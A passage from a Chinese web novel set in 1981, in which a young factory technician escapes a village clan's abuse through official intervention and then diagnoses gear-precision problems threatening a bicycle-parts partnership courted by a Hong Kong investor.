杜国强也知道这一点,盯着郑远阳道:“这罪名我哪敢担?说白了,您郑大干事不就是想把我铐起来吗?多说无益,由您便。”
“小子,你倒是识趣。”郑远阳见杜国强不再反抗,以为他怕了,上前用**铐住杜国强,又扭头嘱咐其他郑家本姓人,“把这小子押到村委会去,我要亲自审他!”
一伙郑家人吵吵嚷嚷地押着杜国强往村委会走,像是打了大胜仗。
他们用这种强硬手段宣示着村子仍在郑家的掌控下。
郑大山更是得意,决定摆酒宴请侄儿。
几人想着先让杜国强“好过”几个时辰,等酒足饭饱、喝得晕头转向后,才提着家伙把杜国强围在了村委会里。
郑远阳挥了挥手中的鞭子,抬手指向杜国强,满脸得意地说道:“小子,我打听过你了,你不过就是城里面厂子的一个技术员,还没混出什么名堂呢,就敢在我们郑家眼皮底下撒野?”
“今天我就抽你十鞭子,让你长长记性,郑家不是你能惹得起的!”
这年头终究还是太乱了。
杜国强忍不住摇了摇头,说到底,郑家也就是个农村小户。
却硬生生的能在这村子里遮天蔽日。说到底,这一伙人中,本事最大的也不过就是个派出所的干事罢了。
“国家发展的路途还很遥远啊。”杜国强心生感慨。
眼见杜国强此刻还不求饶服软,郑远阳来了脾气,使劲挥了挥手上的鞭子,发出阵阵音爆声,阴森森地朝杜国强走过来:“记好今天的教训!”
说罢,他便挥起了手中的鞭子。
第19章 面子太大了
正当杜国强要结结实实地挨一顿鞭子的时候,村委会的木门“哐当”一声被撞开了,在场众人吓了一跳——尤其是郑远阳,他此刻正动用私刑,若是被外人撞见,少不了一封**。
待众人看清推门那人的模样,才松了口气:原来是村里的毛孩子二愣子。
“二愣子,你来这干啥?村委会可不是你练跑步的地儿,滚滚滚!”村长郑大强呵斥着,挥手要赶他走。
二愣子跑得气喘吁吁,脸蛋通红,头顶还冒着汗珠,他拼命摆手,上气不接下气地喊:“村长,隔壁村李**让我先回来拦住你们!他不让你们再折腾杜国强了!”
“李**?”郑大强狐疑地瞥了一眼被绳子绑着的杜国强,“你寻救兵了?这救兵的档次也太差了吧——真当我怕他李天水?”说罢,他嗤之以鼻地笑了。
他和李天水虽是同级,平日里相互忌惮,从不给对方惹麻烦。
但这并不意味着他要听李天水的话。
一旁的陈远阳不屑地朝地上吐了口唾沫,扬起嘴角冷笑:“一个小小的村支书,也敢来呵斥我们?老叔,咱们就等等,看看这李**葫芦里卖的什么药。”
他阴森森地眯起眼,“要是他敢来捣乱,不如连他一起捆了,让他也尝尝这鞭子的滋味。”
郑大强点点头,拖出一把椅子坐下,跷起二郎腿:“那就等着。”
众人索性停了手,不再折腾杜国强,却都围在一旁,想看杜国强请来的李**怎么当这个“救兵”。
二愣子腿脚麻利,早就跑在前头,但李天水就没这么轻松了——他常年在村里做文书,很少下地挣工分,体力差得很,走几步就满头大汗,这才让二愣子先回来传话。
陈远阳等人停手半个多时辰后,李天水才晃进村委会大门,脸色苍白得像生了场大病,一进门就虚弱地靠在墙上,眼瞅着就要晕倒。
“我说老李啊,你这可是稀客!今天怎么想起到我这儿‘视察工作’了?”
郑大强神色冷淡,话里带着刺,“丑话说在前头,杜国强犯了事,你要是来求情,怕是要失望了。”
郑远阳也凑了上来,阴阳怪气道:“李叔,该不会是你和杜国强私下有什么见不得人的勾当,才急着来保他吧?”
李天水咽了咽口水,无奈地摆摆手:“我就是个传话筒,让你们停手的另有其人。”
“还有人?”郑大强愣了愣,追问,“谁?”
李天水扶着膝盖,喘着粗气,左手朝郑远阳一指:“你们派出所所长。”
这话一出,村委会里瞬间鸦雀无声。
原本还嚣张跋扈、想在这深山老林里作威作福的郑远阳,顿时结结巴巴起来:“李、李叔,你没弄错?真是我们派出所所长下的令?”
官大一级压**,更何况派出所所长是正科级干部,和他差了两三级,哪是他郑远阳能招惹的?
李天水看着郑远阳吃瘪,内心暗爽——这小子平日里没少轻视他,如今听到派出所所长要保人,竟吓得六神无主。
“所长让我带话,”他故意顿了顿,慢悠悠道,“他正坐着派出所的吉普车往这儿赶,估计用不了多久就到。”
郑远阳脸色煞白,深吸一口气,心脏几乎要撞出胸腔。
“不可能!杜国强就是个穷小子,怎么可能跟派出所所长扯上关系?”郑远阳喃喃自语,像是要把这话刻进心里,“一定是狐假虎威,肯定是!”
尽管众人都不愿相信杜国强有这般通天本事,但没人再敢动私刑。
他们像热锅上的蚂蚁,焦灼不安地等待着,心底默默祈祷所长的吉普车永远别出现。
可惜,两个多时辰后,吉普车轰鸣的发动机声由远及近,震得村委会墙头上挂着的日历都簌簌发抖。
郑远阳紧绷的神经“砰”地一声断了。
当他亲眼看见所长从车上下来时,喉头剧烈滚动:“所、所长,您怎么来了?”
话音未落,所长抡圆胳膊,一记耳光狠狠扇在他脸上——“啪”的一声脆响,郑远阳一颗智齿被直接打飞出去,突如其来的剧痛让他眼前发黑,几乎要瘫倒在地。
“郑远阳,你还真是本事学大了!真把自己当山大王了?”所长怒目圆睁,指着他的鼻尖骂道,“当初看你年轻肯干,想着
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重点培养,现在倒好!原来是个以权谋私的**分子,彻头彻尾的害群之马!”
郑远阳哆嗦着捂着脸:“所长,您听我解释……”
所长冷哼一声,扬脚狠狠踹在旁边的桌椅上,又朝他脚边啐了口唾沫:“少废话!我就是来传话的——区委的人马上到,到时候你们自己跟纪委解释去!”
“区委的人?”郑远阳惊得下巴都快掉了,旁边的郑家人也个个脸色骤变。
区委的人怎么会掺和进来?
郑大强猛地转头盯着被绑的杜国强,恍惚间想起什么似的喃喃道:“你……你真认识区长?”
他忽然哀嚎一声,恨不得给自己一巴掌——这下麻烦大了!他们今天怕是栽在这小子手里了。
村长、派出所所长,现在甚至连区委的人都要来了。
杜国强这次搬救兵,竟牵扯出这么多头脸人物,看来他确实和区长关系匪浅。
郑远阳肠子都悔青了——自己这是实打实冲撞了“龙王庙”!
“还不赶快给杜国强松绑?”派出所所长又狠狠踹了郑远阳一脚,厉声呵斥,“把铐子解开,把你和郑大强铐起来,等着区委发落!”
“完了,彻底完了……”郑远阳心如死灰,双手机械地解开**,又将冰冷的铐子扣在自己和郑大强腕上。
两人垂头丧气的模样,活像刚被押解的囚犯,眼中再没了半点生气。
没过多久,区委的车辆便碾着山道扬尘而来。
简短沟通后,区委来人传达了处理意见:“从严处罚——这是区长的原话。”
派出所所长心领神会,点点头,转头便将失魂落魄的郑远阳和郑大强拽上吉普车。
引擎轰鸣声响彻山村,载着两人驶向注定判刑的结局。
剩下村委会的人鸦雀无声,有些难以接受这个转变。
曾经在村子里作威作福的村长和他那侄儿。现在怎么跟人身份互换了?
众人的神色在杜国强身上凝结,个个充满了敬畏。
他们觉得面前这个还不到20岁的年轻人似乎已经藏了什么了不得的东西,跟他们这群土包子拉开了差距。
第20章 寻个差事
“杜国强同志,我是咱们区长的秘书,您叫我小李就行。”
区委来的人满脸恭敬,主动朝杜国强伸出手。
两人握手时,杜国强语气诚恳地说道:“这次真是麻烦区长了,他日理万机,还得抽空处理我这点破事。要不是实在走投无路,我绝不想惊动区长。”
“可别这么说!”小李连忙摆了摆手,脸上笑意盈盈,“区长一直惦记着您呢!要不是您帮忙解决了安阳自行车配件厂的生产难题,区政府哪能这么顺利垫付工人工资?您不知道,那段时间区长为这事愁得整宿睡不好觉!”
“区长特意交代,等安阳和八零厂的自行车生产线彻底稳下来,剪彩仪式他一定亲自到场!”小李神情郑重,又叮嘱道,“不过这段时间,安阳厂的生产可不能松懈,务必和八零厂密切配合,别让人家军工企业看轻了咱们!”
杜国强挺直腰板,目光坚定:“您放心!我一定盯紧生产,绝不会辜负领导信任!”
小李秘书笑着点点头:“有困难尽管开口,区委能帮的绝不含糊!”
杜国强张了张嘴,话到嘴边又咽了回去——他多想说说接老母亲和妹妹进城、却缺房子的难处,可话锋一转,只是拱手道:“多谢区委关怀!这次的事已经给领导添了太多麻烦,眼下生产稳定就好,其他的我自己再想办法。”
他心里清楚,区长刚出面解了困局,此时提私人诉求,难保不会被误解成借势谋私,重蹈郑远阳的覆辙。
送走小李秘书后,杜国强离开村委会。
他斟酌再三,决定今天不在村里多待,提前返程,得赶紧把自行车生产的事忙起来,给区里领导交上成果。
不过走之前,总要跟母亲和妹妹说一声,于是杜国强便蹭着李天水的自行车,跟着回到了母亲的娘家村子——那也是姥爷和舅舅的住所。
姥爷家的光景比杜国强家强得多。
一家人勤勤恳恳,两个舅舅整日在地里摸爬滚打,像老黄牛般不知疲倦。
靠着这股子拼劲,他们把原先祖传的泥房子翻新,加盖出两间敞亮的砖房,成了十里八乡人人称赞的模范家庭。
见姥爷家日子过得殷实,两间砖房气派敞亮,杜国强悬着的心稍松:要是亲妈和妹妹在这儿过得好,倒也不必急着接去城里。
他叹了口气,站在院门口扬声喊道:“妈!小妹!你们在屋里头不?我今儿要回城里,有话跟你们说!”
院里传来响动,朱桂芳带着两个女儿快步走了出来。
她身后跟着一位驼背的白发老者,尽管身形佝偻,那双眼睛却透着股精气神——正是杜国强的姥爷朱守正。
杜国强与姥爷对视时,气氛瞬间凝固。
朱守正那双炯炯有神的眼睛,早把外孙从前的行径看得透彻——不过是把亲娘当作随时提款的“活折子”。
看着曾经古灵精怪的外孙女,如今眼里的光渐渐黯淡,这位疼惜女儿的父亲心里的怨气越积越深,对杜国强的不满也愈发明显。
“我听说你要把你妈和两个妹妹接到城里?”朱守正目光如炬,直勾勾地盯着杜国强,声音低沉。
“你要是敢在背地里捣鬼,或是把你两个妹妹卖给人贩子,”朱守正佝偻着背却气势不减,手指狠狠指着杜国强,“那就别怪我朱守正带着你两个舅舅,给你们杜家清理门户,除掉你这害群之马!”
说着,朱守正抄起一旁的扫帚,青筋暴起的手攥得咯咯作响。
朱桂芳见状,慌忙扑过**死拽住父亲胳膊,哭笑不得道:“爸!我都说多少回了,国强这次是真心悔改!要不是他,安安和乐乐早被郑大强他们抓去当童养媳了!”
“我才不信呢,这小子肯定有鬼点子。”朱守正低声嘟囔着,手里的扫帚还没放下。
杜国强心里清楚,自己在姥爷这儿的坏印象一时半会儿难以扭转,只能慢慢来。
他看向母亲朱桂芳,语气诚恳:“妈,我跟您说两句话就得走,厂里还有一堆事儿等着处理。这两天您把家里拾掇拾掇,拿着我之前给的钱,坐班车到城里的巴林场找我,我这段时间都在那儿。
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房子的事儿您别操心,肯定能安置好。”
朱桂芳闻言,轻轻摇了摇头:“差不多找个地儿住就行,住太好浪费钱。”
朱桂芳对生活本没太多奢求,在她心里,一家人平平安安、和和睦睦地守在一起,比啥都强。
杜国强看着母亲,坚定地摇头:“您就别操心这些了,我心里有数,不会有啥大压力。”
杜国强心里早有盘算,这次回城里,他有把握能解决住房问题,让一家人彻底告别拥挤的职工宿舍。
但这计划尚在雏形,牵扯诸多细节,眼下还不是跟母亲细说的时候,只能先将这想法默默藏在心底。
“大哥,等我们去城里找你!”安安和乐乐踮着脚朝杜国强喊道。
他应了声“好”,转身就往村口跑。
本想等公交,可45分钟一趟的班次实在磨人。
正犯愁时,李支书骑着自行车过来了。
“我送你一程呗,正好我要进城办事,顺路!”李天水拍着车后座热情邀请。
杜国强连声道谢,坐上了二八大杠后座。
山路坑洼不平,两人一路颠簸,好几次连人带车栽进泥坑里,裤腿上溅满了泥点子。
两人有一搭没一搭地聊着,眼看就要骑进县城,李天水突然捏闸停车,清了清嗓子问道:“国强啊,你跟区里领导走得近,我这儿有个事……”
杜国强愣了下,随即点头:“您但说无妨。”
李天水搓着手道:“我家二小子今年退伍回来没活计,整天在家晃荡,再这么下去人就废了。你在城里路子广,能不能……给孩子寻个差事?”
村长这话让杜国强犯了琢磨。
“寻个差事让我?”杜国强愕然地张大了嘴,长这么大还是头一回有人求他帮忙找工作。
他琢磨片刻,开口问:“您儿子品行咋样?”
李天水连忙拍胸脯:“这您放心!他从部队退伍回来的,能吃苦肯干活,我看着长大的孩子,准错不了!”
杜国强点点头。
“那我这倒真有份差事给您孩子。”
第21章 未来的打算
“有差事?”李天水神色呆滞,一时间没反应过来。
他其实也就是顺嘴一问罢了,只是看杜国强仿佛在区里有些人脉。
类似的话他已经问过很多人了,其中不乏一些区上的领导以及一些国企的负责人,但是无一例外,没有一个成功的。
这年头,青年找不到工作太正常不过,这不是个例,家家户户都有。
除去子继父业替代家里人铁饭碗的情况之外,绝大多数青年都处于无业状态。
返乡青年从农村当知青回来,猛然间发现,除了他们日夜想逃离的农田之外,没有一个工作场地愿意再关注他们这些20多岁的愣头青了。
李天水问的那些人,多半连自己子女的工作问题都没法解决,更何况去帮他一个村支书呢?
眼下听到杜国强有法子,李天水顿时激动了起来。
一个急刹,差点没把两个人送进一旁的玉米地里。
“杜国强同志,你说的是真的?”
杜国强呲了一下嘴,揉了揉被摔疼的屁股:“工作好说,但是如果李**这路上如果再要这么急刹的话,怕是我活不到给你儿子安排工作的那天。”
李天水这才咳嗽了一下,尴尬地笑了起来:“不搞了不搞了,我好好骑车,好好骑。”
生怕再颠一回惹得杜国强不高兴,李天水接下来骑得可谓是小心翼翼,唯恐前面车胎出现一丝偏差。
而杜国强也在这个时候给李天水讲解起了他要为李天水儿子所安排的工作——注塑工。
李天一一听,一脸懵逼,问道:“住宿,这是啥玩意?咱们这地方要新开一家旅店吗?让我儿子去当服务员?”
“不是吃穿住行的那个住宿,而是‘注’塑,塑料的塑。它是塑料成型的一种手段。”
杜国强也谅解李天水并未听说过注塑二字,毕竟在这个年代,塑料制品还属于稀罕物。
谁家要是在大商场中逛一圈,买得满满当当,得到一个红色塑料袋,回到家里怕不是要当成后世的香奈儿、古奇包包珍藏着。
改天提着东西在街上溜一圈,回头率爆表。
听到杜国强的讲解后,李天水明白了。
只是他对于一些地方还有些不解:“你说注塑产品是未来的生活必需品,啥意思?这么个东西,谁还能离不开它似的?”
他有些犹豫地问道,“国强同志,我咋感觉根本没必要呢?你说它是生活必需品,能做盆碗,可咱们国家现在造铁的能力也提上来了,弄些铁做几个盆子、茶缸还不是轻轻松松?用塑料造这些东西又有啥意义?”
杜国强问道:“李**,你觉得你这辈子需要几个茶缸?”
李天水不明白杜国强想问啥,老实巴交地回答:“我估摸着就用一个。我现在这茶缸都用了20多年了,当年刚参加工作时我爸从公社里帮我淘到的宝贝,上面还有领袖印章呢。这些年,外面的油漆都被磨掉了不少,可依旧好使,只贴了两层锡纸。”
果然是老一辈的人,这节俭是从骨子里传下来的。
杜国强咳嗽了一声道,“从个人角度看,我们确实只需要一个杯子,但对商家来说呢?有些饮料,比如北冰洋这类汽水厂,未来制造产品总不能每个都用玻璃包装吧?”
“咱们国家现在有十万万人口,未来能达到更高。要是一人买一瓶北冰洋,那就是十多亿个玻璃杯,这么多杯子该怎么处理?但塑料就不一样了,它轻便易携,还容易大规模生产。”
杜国强接着说,“如果饮料瓶用塑料做,就可以回收回来,融化后做成各种辅料。能当农田里的地膜,也能做填充物,大大降低成本。”
李天水似懂非懂,他对这类事物没有具体的认知,只是见杜国强如此自信,似乎对这事很有把握。
“那国强同志,你未来是想做一家这样的企业,专门给人家生产瓶瓶罐罐?”李天水开口问道。
杜国强摇了摇头道:“不,这只是前期起步,我要做的是工程塑料。”
“工程塑料?”李天水彻底迷糊了,脸上满是茫然。
杜国强见状也没再继续解释。
工程塑料与日常所见的P
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E等常规塑料差异太大,一时半会难以说清。
做传统的注塑产品,或许能在国内注塑行业刚刚起步时获得一个较为不错的发展,但是越往后这条路越难走。
和先前杜国强跟八零厂所谈的问题一样。
注塑产品在后世实在太过普遍,让不少眼红的人进入了这个行业中,注塑产品的价格被压到极限低价。
杜国强是不屑于跟做这些的生产商抢饭吃的。
但做工程塑料这件事,是杜国强重生以来,在没有电子产品的夜晚躺在床上发呆时,就早已确立的目标,也是他打算深耕技术的领域。
现在是1981年,等到1984年,国家就会意识到注塑工程塑料的重要性,届时会出台相应法律法规,鼓励企业引进技术或扩大生产规模。
而杜国强打算现在就从小做起。
培养几个合适的注塑师傅,帮自己完成日常实验,等到自己以后开注塑公司时,方便一些。
李天水的儿子就是一个很好的选择——退伍军人,吃苦耐劳。
而且父亲还是村子里的村支书,有一定背景,能够发动村子里的人。
这样的人选简直再合适不过了。
“国强同志,那我儿子啥时候能去做这个工作?”李天水问道。
“还得等一等。”
杜国强咳嗽了一声,感觉自己像是在画大饼——这事还处于八字没一撇的想象阶段。
设备、投资,一切都是零。
李天水倒也不心急。
他本以为儿子还得过上多年无业游民的生活,眼下杜国强给了工作机会,他心里满是感激。
两人换着骑自行车,三四个时辰后总算到了城里。“李**,我请你吃顿饭吧。”
杜国强刚打算带李天水去厂子里的食堂垫垫肚子,一个正路上的工人突然眼前一亮,像抓住救星似的拽住杜国强:“杜大技术员,你可算回来了!娄**等你都快急疯了!”
杜国强一愣:“出什么事了?”
工人哭丧着脸说:“咱们厂和八零厂的合作可能要吹了!”
第22章 港商找上门
自己这才离开安阳厂,满打满算两天时间,怎么这刚刚谈好的生意就要吹了?
杜国强连忙问道:“到底咋回事?跟我讲个清楚。”
那名工人叹了口气,回道:“你刚走,八零厂的朱厂长就带着他们厂的一些工人给咱们下了两个试订单,要求我们生产10套传动装置,按他们规格来定的齿轮和链条。”
“咱们的工人加班加点把这活给赶了出来,可是送到八零厂之后,朱厂长那边却不愿意了,说是问题太大,没办法采购。”
“现在双方聚在咱们会议室里闹着要解约呢。”
杜海涛听的,皱起了眉头。
八零厂和安阳厂的合作事关重大,是区长都在关注的项目,和自己的未来发展也有很大关系。
想到这儿,杜国强神色凝重,扭头望向李天水:“李**,怕是我陪不了你在这吃饭了,我跟食堂的工作人员说一声,你自己在这吃,费用记在我的账上就成。”
李天水连忙摆手:“不用操心我,你忙自己事。”
和李天水短暂告别后,杜国强便来到安阳厂会议室外。
还没进门,便听到里面吵嚷声此起彼伏,双方对骂的声音不断传来。
“东西都给你们造好了,一切都是按照你们图纸上做的,咋就不成呢?别以为我们安阳厂的人好欺负!”
“不成就是不成!要是成,我们早接受了。可眼下来看,要是用上你们的传动装置,八零厂的自行车怕是要降一个档次!”
会议室里瞬间嘈杂起来。
杜国强推门看去,只见一个安阳厂的工人怒目圆睁,拽着一个八零厂工人的脖领子,双方剑拔**张,似乎下一秒就要大打出手。
杜国强缓缓开口道:“都是多少岁的老妖精了,还以为自己念小学呢?聚众**,还要打架,一家老小攒下的钱够赔被打伤人的医药费吗?”
众人齐刷刷朝杜国强的方向望过来,处于对峙中央的两人也尴尬地松开了手,纷纷喊了声:“杜技术员。”
杜国强帮八零厂做产品转型,以及从区政府要回工资,这两件事这两天闹得沸沸扬扬。
他凭借过人的能力和魄力,不仅让八零厂看到了转型的曙光,更实实在在解决了工人们被拖欠工资的燃眉之急。
如今,他的名字在两个厂的工人中间口口相传,俨然成了传奇人物。
大家虽没见他正式挂上官职,却都不自觉地把他当成能办实事的领导,打心眼里敬重他、信赖他。
杜国强点了点头,问道:“朱厂长和娄**呢?”
安阳厂的工人答道:“朱厂长和娄**现在正在办公室里商量着呢,看看有没有什么补救的办法。”
“你瞧瞧,”杜国强笑道,“领导们都在办公室里喝茶、商讨对策,咱们干活的,反倒是要发挥男子气概,大打出手了。”
这话让先前差点动手的众人忍不住低下了头,可又隐隐觉得不对劲——明明杜国强年纪最小,热血最盛,咋反倒像个历经沧桑的老工人,教训起厂里的工人来了?
“产品哪出问题了?”杜国强追问。
八零厂那名刚被拽过脖领子的工人整了整衣领,拍掉身上的尘土,带着哭腔说道:“传动精度不够,齿轮和链条之间的耦合度明显达不到要求。”
“我们装在别的牌子的自行车上,很容易发出异响、卡壳,甚至脱链。”
“这样的产品,杜技术员,你说我们八零厂咋用?你们安阳厂的人都说我们八零厂欺负你们。”
“可是这产品不合格,我们推到市场上,谁会买这玩意?难不成,就为了你们厂几个配件,让八零厂去倒闭吗?”
“要这样的话,这自行车还不如不做,转型去做民用产品呢!”
杜国强摸了摸下巴,道:“齿轮精度不够,这问题并不罕见,尤其是在咱们还刚刚起步的阶段,出现些问题再正常不过了。带我去看看那几个传动件。”
“杜技术员,您跟我来。”方才险些动手的八零厂工人应了一声,领着杜国强快步走向堆放问题零件的地方。
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>就在杜国强跟工人们去查看问题零件之时,办公室里的朱厂长和娄**陷入了诡异的沉静。
办公桌上的烟灰缸堆满烟头,屋内烟雾缭绕,呛得人直皱眉。
最终还是朱厂长率先打破沉默,忍不住叹气:“现在可咋整?眼瞅着自行车其他部件的初样都要弄出来了,传动装置不合格根本没法装,刚到的投资人还等着我们汇报情况呢!”
娄**叹了口气,无奈地摊了摊手:“朱厂长,我不是技术人员。你们请我们定制的部件,都是我们厂老师傅亲自一个个打磨出来的。要说问题出在我们这边,怕是不太可能。”
“现在不是互相甩锅的时候。”朱厂长沉声道,“不管问题出在你们厂,还是我们八零厂,都得赶快找出来。”
朱厂长话音刚落,办公室外突然响起一阵敲门声。
“进。”娄希顺开口道。
门缓缓推开,一个穿着朴素的女子走了进来。
朱厂长原本没太在意,可对方刚一开口,他瞬间察觉到不对劲。
他死死盯着女子,惊愕地从椅子上站了起来:“竹女士,您怎么突然来大陆了?也不给我打个电话通知一下。”
竹青莲笑道:“来谈两个合作项目。顺便想着你们八零厂这边不是要生产自行车吗,来看看进度。”
朱厂长咳嗽一声,连忙挥手指向身旁的娄希顺:“竹女士,这位是我们厂的供应商,安阳厂的娄**。”
接着又转向娄希顺介绍道:“娄**,这位是八零厂的意向投资商,港岛玛瑞贸易的负责人竹青莲女士。”
“她可是咱们国内不少项目的投资人,也是港岛知名的爱国同胞。”
竹青莲摆了摆手,脸色平静依旧:“玛瑞贸易对合作方有完善的调研考察流程,我早就有娄**的信息了。”
朱厂长言语一滞,无奈道:“港岛的商业模式果然细致,倒是我多此一举了。”
竹青莲没再理会朱厂长的客套,问道:“我听说八零厂和安阳厂的合作出了问题?”
第23章 病根找到了
朱厂长心里咯噔一下——港岛资本对大陆投资本就谨慎,合作伙伴的筛选更是严苛。
安阳厂这摊子事要是处理不好,玛瑞贸易极可能撤回投资。
这年头拉来港商投资何等不易?
这要是让上级领导知道了,自己又得挨熊。
他连忙擦了擦汗:“小事情,让竹女士费心了。”
竹青莲嘴角微扬:“哦?小事情吗?可我听说,安阳厂和八零厂闹得很不愉快呢。”
朱厂长心里越发不安,结结巴巴道:“我们已经在解决问题了……”
竹青莲皱眉,语气带着不满:“朱厂长,不必兜圈子。玛瑞贸易看重工作效率。若未来合作,你必须展示解决问题的能力。”
“那些问题零件在哪里?请带我去看看。我得确认玛瑞贸易的合作对象是否具备技术解决能力。”
竹青莲的话虽透着几分商界的严苛与现实,却也句句在理,港台的商业合作模式向来如此,不会因地域而降低标准。
朱厂长满心无奈,却不敢再隐瞒,苦叹一声,扭头看向娄希顺:“走吧,娄**,带竹女士去看看,也瞧瞧工人们有没有想出解决办法。”
娄希顺一脸难以置信地望着朱厂长,仿佛在问“你认真的吗”。
朱厂长无奈地摊开双手,眼中满是苦涩——港资、外资企业投资国内市场时,向来有个不成文的铁律。
产品出问题尚可补救,合作或许还有转圜余地。
但一旦涉及隐瞒、欺诈,合作必定即刻终止。
这道理他比谁都清楚。
眼下除了直面问题,根本别无他法。
几人来到车间,竹青莲今日特意换上碎花布衫,虽面容姣好,但这身朴素打扮,倒像是厂里女工。
工人们并未察觉异样,只觉得这个女子容貌出众,跟娄希顺和朱厂长打了招呼。
朱厂长扫视一圈,开口问道:“有发现什么问题吗?”
八零厂的代表工人立马凑上前来:“问题倒是没找到,不过我觉得肯定出在他们安阳厂!咱们八零厂生产的其他零件都没这毛病!”
安阳厂的人瞬间火冒三丈,怒喝道:“胡扯!分明就是你们八零厂自己的问题!”
两边再次陷入激烈争吵,唾沫横飞的喧闹声几乎要掀翻车间顶棚。
朱厂长急得额头青筋暴起,扯着嗓子嘶吼:“都给我安静!”
可吵闹声此起彼伏,根本压不下去。
站在他身后的竹青莲眼底划过一丝失望。
工人们互相推诿、毫无头绪的模样,让她一眼看穿问题根本没找到症结。
若是真和这样的合作方联手,日后生产环节恐怕会状况百出,给投资项目带来难以估量的损失。
看来大陆的工人们技术还是不到位。
竹青莲内心泛起退意,八零厂转型生产自行车的计划,在她眼中也变得漏洞百出。
正当她准备开口表态时,角落里一个身影突然抓住了她的目光——一个年轻人正全神贯注地摆弄着问题零件,专注的神情与周遭的混乱形成鲜明对比。
他实在太年轻了!
即便竹青莲二十出头就成为玛瑞贸易代言人,自认已是商界少见的年轻才俊,可眼前这人,面容青涩,年龄绝对不超二十。
竹青莲趁着众人吵得不可开交,穿过人群,缓步走到年轻人身边。
只见他半蹲在工作台前,一手拿着游标卡尺反复测量零件尺寸,另一只手在笔记本上飞速记录数据。
“你在研究什么?”竹青莲忍不住开口。
年轻人从专注中抬起头,目光撞上她的视线时愣了一下。
听到交谈声,朱厂长下意识回头,看清那人竟是杜国强,顿时眼睛一亮:“杜国强!你小子可算回来了!”
此前杜国强在八零厂与朱厂长交谈时,就曾以渊博学识令其震惊朱厂长。
他不仅画图功底深厚,对工业转型的设想更是独到,那些关于生产线优化和产品改良的见解,即便从业几十年的老师傅也难有如此格区。
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>朱厂长刚要开口介绍竹青莲。
却见竹青莲飞快递来个眼色,朱厂长便识趣地把话咽了回去,转而清了清嗓子指向齿轮:“你看啊,安阳厂这批零件最大的毛病就是传动精度差。你琢磨着,问题能出在哪儿?”
“刚才我用游标卡尺把所有零件都测了一遍,问题的病根基本找到了。”杜国强道。
“是啥?”娄**忍不住追问。
杜国强深吸一口气:“机床,我们的机床有大问题。”
“机床?这咋可能嘛!”厂里老工人皱着眉头,满脸不信,“这机床我们用了好几十年,给三阳造零件时,人家从没说过有问题!”
杜国强闻言笑了笑,指尖轻轻叩了叩零件边缘:“按常理,咱们厂的机床造三阳那种大尺寸的二八大杠,精度要求没那么高。零件个头大,公差范围能放宽些。但八零厂这批零件可不一样。”
“首先,他们要求的精度极高。咱们老师傅手艺再精湛,可机床自动化程度低,只能靠人工微调弥补误差,这就导致零件公差不稳定。单个看或许达标,但组装成传动装置后,细微偏差一叠加,骑行时就容易卡壳、异响,甚至脱链。”
朱厂长眉头微皱,试探着问:“那你的意思是,让安阳厂换台精度高的车床就能解决?”
话音未落,娄希顺急得直摆手道:“朱厂长,这可使不得!您也是干厂子的,哪能不知道现在一台高精度机床什么价?就我们这小配件厂,砸锅卖铁也买不起啊!”
如今国内机床发展是快,可要是追求高精度,还得靠德日进口货,人家的设备精度领先国产一大截,可价格也领先国内一大截。
况且安阳厂做自行车配件,利润本就薄,就算咬牙买了机床,猴年马月才能回本?
更别说银行愿不愿意批贷款。
众人陷入沉默时,杜国强目光沉稳地落在娄**脸上道:“我有个法子,不用换车床也能生产出合格的零件。”
众人瞬间安静下来。
第24章 说服众人
“咱们厂现在的钢材供货商是哪家?”杜国强询问道。
负责材料采购的后勤部负责人站出来解释道:“我们生产零件用的钢,大多数都是安泰的。咱们厂已经和对方合作十多年了,钢材质量也很稳定,都是当年按照毛子那边的标准复制过来的。”
杜国强伸手拍了拍桌面,沉声道:“给八零厂用的零件,把这种钢停了。向安泰询问是否有含碳量更低的钢品,如果没有,就换其他的供应商。”
杜国强话音刚落,安阳厂的几位元老便先后站出来反对。
先前的那位后勤部负责人反响最为激烈:“这不是胡闹吗?十多年的老客户了,说换就换?你让我们这些做后勤的咋整?感情在外面跟人家喝酒扯皮的不是你们是吧?”
工厂内,几位资深的老师傅也摇起了头:“换钢?这不是胡闹吗?咱们厂的这些车床本来就属于老设备,经不起折腾的。要是换钢给弄损了,怕是连个替换的零件都没地方买。”
安阳自行车配件厂的这些车床,都是在当年国内和毛子蜜月期时从毛子那边购置的。
虽说现在经历了长时间的冷战后,双方的关系逐渐恢复,但是对方是否会出售这种车床零件还是个未知数。
再者,几十年的风风雨雨,人家的车床更新换代很大,当初生产的这种车床或许早就停产了。
就连先前一直在支持杜国强的厂**娄锡顺,也对此事表示担忧。
杜国强听着同仁们的反对,并不慌张,举起了手中的一个齿轮:“大家放心,我要求的换钢并不会对车床造成损害,相反,在一定程度上还能保护车床。”
“咱们厂现在的设备精度达不到八零厂的要求,一方面就和设备老旧有关。在这种情况下,应当适当降低钢的碳含量,这才能保证精度。”
听到杜国强的话,众人依旧嘀嘀咕咕。
“话虽然如此,但是实际生产又不是儿戏,万一出点什么问题咋办?”
“是啊是啊,换不起换不起,我看还是用现有的碳钢吧,别瞎折腾。”
听着众人的质疑,杜国强也有些无奈。
这便是国内工厂的现状——个个怕麻烦,凑合着用现有材料,能不动弹就绝对不挪窝,而这也正是这种国营老厂在私企快速涌入的浪潮中被淘汰的主要原因。
“我知道换钢对大家伙来说,一时间有些难以接受。可这已经是最实惠的方案了。”杜国强望着安阳厂众人。
“现在的情况是,如果不换钢,我们就会失去跟八零厂合作的机会。一旦合作取消,区政府对我们的支持立刻会化为泡影。”
“别忘了,我们还欠着区政府一万多块钱的垫付工资呢。莫非大家是想停薪留职了?”
一听这话,安阳厂先前那些怕麻烦的人顿时没了言语。
杜国强这一番话,还真就戳中了他们的软肋——天不怕地不怕,可铁饭碗不能丢。
见到众人有所松动,杜国强轻轻笑了笑:“大家放心,我对钢材这方面有些研究。这件事我会全程参与,保证咱们安阳厂能选到合适的钢材。”
杜国强都这样表态了。
娄锡顺也叹了口气:“咱们厂之所以能有这个订单,就是靠你小子。罢了罢了,成王败寇,就陪你小子再闹上这么一闹。”
杜国强点了点头,而后目光转向八零厂的朱厂长:“朱厂长,您那边是军工系统的,能联系到的钢材供应商肯定要比我们安阳厂多得多。”
“如果我们和安泰的谈判不顺利,还请您推荐几家替代的钢材供应商。”
朱厂长点了点头:“这自然没问题,本来这也为了我们八零厂好的事情。”
见到换钢的事情基本谈妥,杜国强笑了笑:“好,那既然大家都同意,换钢的事情就算是定下来了。要想再提高精度,就得给咱们厂添置几套新工装了。”
“这件事我在行,我来画一套图纸。厂里的模具师傅,照着我画的样式先做出两套来作为参考。”
说着,杜国强便拿出纸笔,开始画了起来。
